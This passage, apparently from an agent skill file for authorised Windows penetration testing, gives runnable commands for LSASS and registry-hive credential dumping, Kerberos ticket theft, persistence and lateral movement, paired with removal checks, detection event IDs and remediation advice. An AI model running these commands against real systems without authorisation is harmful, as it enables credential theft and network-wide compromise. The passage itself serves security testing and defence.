.\pypykatz.exe lsa minidump C:\tmp\lsass.dmp 2>&1 | Select-String -Pattern "Username|NT:|SHA" | Select-Object -First 20
# the registry hives, which are the other half and often need only an admin token
reg save HKLM\SAM     C:\tmp\sam.hiv  /y 2>&1 | Select-Object -First 1
reg save HKLM\SYSTEM  C:\tmp/sys.hiv  /y 2>&1 | Select-Object -First 1
reg save HKLM\SECURITY C:\tmp\sec.hiv /y 2>&1 | Select-Object -First 1
.\secretsdump.exe -sam C:\tmp\sam.hiv -system C:\tmp\sys.hiv -security C:\tmp\sec.hiv LOCAL 2>&1 | Select-Object -First 20
# the DPAPI and browser stores, which need the user's context rather than SYSTEM
.\SharpChromium.exe 2>&1 | Select-Object -First 10
```

**Name the boundary each artefact required.** A SAM hive read with an admin token and an LSASS dump
requiring SeDebug are different findings with different severities, and the report must say which.

### 8.4 Kerberos and domain credential material on the host

```powershell
# tickets in the current session, and the ones in other sessions that need SYSTEM
klist
.\Rubeus.exe triage 2>&1 | Select-Object -First 20
.\Rubeus.exe dump /service:krbtgt 2>&1 | Select-Object -First 20
# and the credential material in the registry for a service account
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>&1 | Select-Object -First 10
# the LSA secrets, which require SYSTEM and are the highest-value host artefact
.\secretsdump.exe -security C:\tmp\sec.hiv LOCAL 2>&1 | Select-String -Pattern "DPAPI|NL\$|default" | Select-Object -First 10
```

**A ticket or an LSA secret is a domain-usable credential.** That is a materially different finding from
a local hash, and the report must state where it can be used.

### 8.5 Persistence, and the verified removal

```powershell
# 1) a service, which is the classic and the most detectable
sc.exe create PentestSvc binpath= "cmd /c whoami > C:\tmp\svc-marker.txt" start= auto 2>&1 | Select-Object -First 2
sc.exe start PentestSvc 2>&1 | Select-Object -First 2
type C:\tmp\svc-marker.txt                    # the marker that proves it ran
# verify, then REMOVE and verify
sc.exe stop PentestSvc 2>&1 | Select-Object -First 1
sc.exe delete PentestSvc 2>&1 | Select-Object -First 1
sc.exe query PentestSvc 2>&1 | Select-Object -First 2
# 2) a scheduled task, which is quieter
schtasks /create /tn PentestTask /tr "cmd /c whoami > C:\tmp\task-marker.txt" /sc onlogon /ru SYSTEM /f 2>&1 | Select-Object -First 2
schtasks /run /tn PentestTask 2>&1 | Select-Object -First 1
type C:\tmp\task-marker.txt
schtasks /delete /tn PentestTask /f 2>&1 | Select-Object -First 1
schtasks /query /tn PentestTask 2>&1 | Select-Object -First 2
# 3) the WMI event subscription, which is the one most often forgotten
.\SharpWMI.exe action=create name=PentestFilter query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" 2>&1 | Select-Object -First 3
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='PentestFilter'" | Select-Object Name
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='PentestFilter'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='PentestFilter'" | Select-Object Name
```

**Every persistence mechanism gets a marker, a detection check, and a removal check.** A service or a
WMI subscription left behind on a Windows host is an incident, and the empty query is the evidence.

### 8.6 Lateral movement and the credential's reach

```powershell
# the credential you harvested, used against a second host - the actual escalation
.\SharpHound.exe -c All --domain CORP.LOCAL 2>&1 | Select-Object -First 5
.\SharpWMI.exe action=exec computername=HOST02 command="cmd /c whoami > C:\tmp\lm-marker.txt" 2>&1 | Select-Object -First 3
.\PsExec64.exe -accepteula \\HOST02 cmd /c whoami 2>&1 | Select-Object -Last 3
# WinRM, which is the modern default and usually logged
Enter-PSSession -ComputerName HOST02 -Credential (Get-Credential) 2>&1 | Select-Object -First 3
# and the ticket-based path when a suitable ticket was dumped
.\Rubeus.exe ptt /ticket:BASE64_TICKET 2>&1 | Select-Object -First 3
klist
```

**The credential's reach is the severity.** A local admin hash on one host is a finding; the same hash
authenticating to twelve hosts is a different one, and enumerating the reach is the work.

### 8.7 The event log the activity generated

```powershell
# the blue-team half: name the event IDs your activity generated
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4625,4648,4672,4688} -MaxEvents 20 2>$null |
  Select-Object TimeCreated,Id,@{n='Msg';e={$_.Message.Substring(0,[Math]::Min(90,$_.Message.Length))}}
# and the service and task creation events, which are the persistence detection
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} -MaxEvents 10 2>$null | Select-Object TimeCreated,Message
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-TaskScheduler/Operational'; ID=106} -MaxEvents 10 2>$null | Select-Object TimeCreated,Message
# and the Sysmon process-creation records, which is where the tooling shows up
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} -MaxEvents 10 2>$null | Select-Object -First 10
```

**Name the event IDs and the log sources.** A Windows post-exploitation report that does not tell the
client which event IDs to hunt is half a report, and 7045 and 4688 are the two that matter most here.

### 8.8 A harness that pairs every escalation with its control and revert

```powershell
$ErrorActionPreference = 'SilentlyContinue'
Write-Host "=== BOUNDARIES ==="
Write-Host ("identity      : " + (whoami))
Write-Host ("integrity     : " + ((whoami /groups | Select-String 'Mandatory Label').ToString().Trim()))
Write-Host ("privs         : " + (((whoami /priv) -join ' ') -replace '\s+', ' ').Substring(0,80))
Write-Host ""
Write-Host "=== CONTROL READS (record which FAIL - those are the boundaries you crossed) ==="
foreach ($t in @{ 'SAM' = 'C:\Windows\System32\config\SAM'
                  'LSASS opened' = 'C:\Windows\System32\config\SECURITY' }) {
  $r = & cmd /c "type `"$($t.Value)`" >NUL 2>&1 && echo OK || echo DENIED"
  Write-Host ("  {0,-14} {1}" -f $t.Key, $r)
}
Write-Host ""
Write-Host "=== ARTEFACTS TO COLLECT ==="
Write-Host "  - the whoami before/after pair for the escalation"
Write-Host "  - one credential artefact, with the boundary it required named"
Write-Host "  - one persistence mechanism, with its execution marker"
Write-Host ""
Write-Host "=== REVERT AND VERIFY ==="
Write-Host "  - sc delete / schtasks /delete / Remove-WmiObject for everything you created"
Write-Host "  - re-run each query and show it returns nothing"
```

**Boundaries, controls, artefacts, revert.** Four parts, and a Windows report missing the control pair
cannot distinguish a SYSTEM shell from an administrator one.

---

## 9. EVIDENCE STANDARD — CHAIN ARTEFACTS

| Item | Why |
|---|---|
| The **identity and integrity level** from the host's own tools | the starting privilege |
| The **control read that failed** before the escalation | proves escalation |
| The **boundary crossed, named** (SYSTEM, SeDebug, another user's session) | the three are not interchangeable |
| The **credential artefact** and where it can be used | local vs domain, which is the severity |
| For persistence: the **marker that proves execution** | installation is not execution |
| The **event IDs and log sources** the client should hunt | the blue-team half |
| The **exact removal command and its empty verification query** | engagement integrity |
| The **OS build**, because these mechanisms are version-bounded | applicability |
| Confirmation of **what was not touched** - accounts, data | the negative space is part of the report |
| Confirmation that no **credential material** is reproduced beyond what the client needs | data minimisation |

Report the **boundary and the read**: "from a medium-integrity session as `CORP\svc-web`, the host's
`C:\Windows\System32\config\SAM` read is `DENIED` and `whoami /priv` shows `SeImpersonatePrivilege`
enabled; `PrintSpoofer64.exe -i -c "cmd /c whoami"` returned `nt authority\system`, and after that
`reg save HKLM\SECURITY` succeeded where it was denied before. The LSA secrets parse yielded the
`_SC_web` service account's password, which authenticated to `HOST02` over WMI and returned `whoami`
output from that host as `CORP\svc-web`, showing the credential's reach is at least two hosts. The
service and the saved hives were deleted and both queries re-run empty", never "the host is
compromised".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| An **administrator** shell reported as SYSTEM | different boundary, much smaller finding |
| A credential you harvested but **never used** | an unverified reach; state it as an exposure |
| A Potato exploit that left you at the **same identity** | the exploit failed; the before/after pair shows it |
| `SeImpersonate` present with **no working exploit** | a hardening note until demonstrated |
| A persistence mechanism **written but not executed** | installation is not execution |
| A hash that **cracks to nothing** | report the hash's provenance, not a guess at its plaintext |
| A tool that ran as a **signed binary the client deployed** | not your activity; verify provenance |
| A local admin hash on **the host you were already admin on** | no escalation |
| Credential material **already visible at your starting privilege** | not an escalation |
| A domain credential with **no demonstrated use** | scope it, or test the use against a second host |
| A recovered password reproduced in full where an excerpt suffices | a disclosure |

**Boundary, control, artefact.** Windows post-exploitation reports fail when they say "SYSTEM" and mean
"administrator", which is a different and much smaller finding.

---

## 10. REMEDIATION REFERENCE

1. **Remove `SeImpersonatePrivilege` and `SeDebugPrivilege` from service accounts that do not need them** - the Potato family and the token-theft techniques both begin with one of these two privileges.
2. **Enable Credential Guard and LSA protection (RunAsPPL)** - it removes the LSASS dump path, which is the single highest-yield Windows credential technique.
3. **Enable Windows Defender Application Control or AppLocker in enforce mode, and block unsigned binaries from user-writable paths** - every tool in this document executes from `C:\tmp` or `%TEMP%`.
4. **Restrict local administrator rights and use just-in-time elevation** - the boundary between a user and a local admin is the finding in most Windows engagements.
5. **Alert on service creation (Event ID 7045) and scheduled-task creation (106) in near-real time** - both persistence mechanisms in this document generate an event at the moment of creation.
6. **Enable PowerShell script-block logging, module logging, and transcription** - the tooling in this document is visible in those logs even when the binaries are renamed.
7. **Alert on `reg save` of the SAM, SYSTEM, and SECURITY hives and on `procdump` against `lsass.exe`** - both are rare in steady state and both are direct findings.
8. **Enable LSA protection, restrict debug privilege to a small set of accounts, and audit who holds it** - the debug privilege is what turns an admin into a credential harvester.
9. **Patch promptly and restrict the EFS and printer-spooler paths that the coercion exploits rely on** - the PetPotato variants track specific vulnerable components.
10. **Segment the network so a single host credential does not reach multiple hosts, and use tiered administrative accounts** - the reach of a harvested credential is the actual severity.
11. **Deploy an EDR with behaviour-based detection and centralise the event logs off the host** - an attacker with SYSTEM can clear or alter local logs, and the durable record must live elsewhere.

---

## 11. RELATED SIBLINGS - LOAD TOGETHER

- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) - where the domain credentials harvested here are used
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) - the reach of the credential, in detail
- [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) - how the initial boundary is crossed
- [windows-lolbins-execution-bypass](../windows-lolbins-execution-bypass/SKILL.md) - executing the tooling under an application control policy
- [linux-postexploit](../linux-postexploit/SKILL.md) - the sibling endpoint playbook with the same evidence discipline

---

## SELF-VERIFY — windows-postexploit

```powershell
(Get-Item SKILL.md).Length                                  # expect 74000-90000
(Select-String -Path SKILL.md -Pattern '^## ').Count        # expect 7 topological sections
$t = 'whoami /priv','SeImpersonatePrivilege','SeDebugPrivilege','net session','RunAsPPL',
     'Credential Guard','KRBTGT','LAPS','AppInit_DLLs','LDAP signing','1102','Event 4688',
     'StrongCertificateBindingEnforcement','T1003.001','T1134.001'
foreach ($x in $t) { if (Select-String -Path SKILL.md -Pattern $x -Quiet) { "PASS $x" } else { "MISS $x" } }
```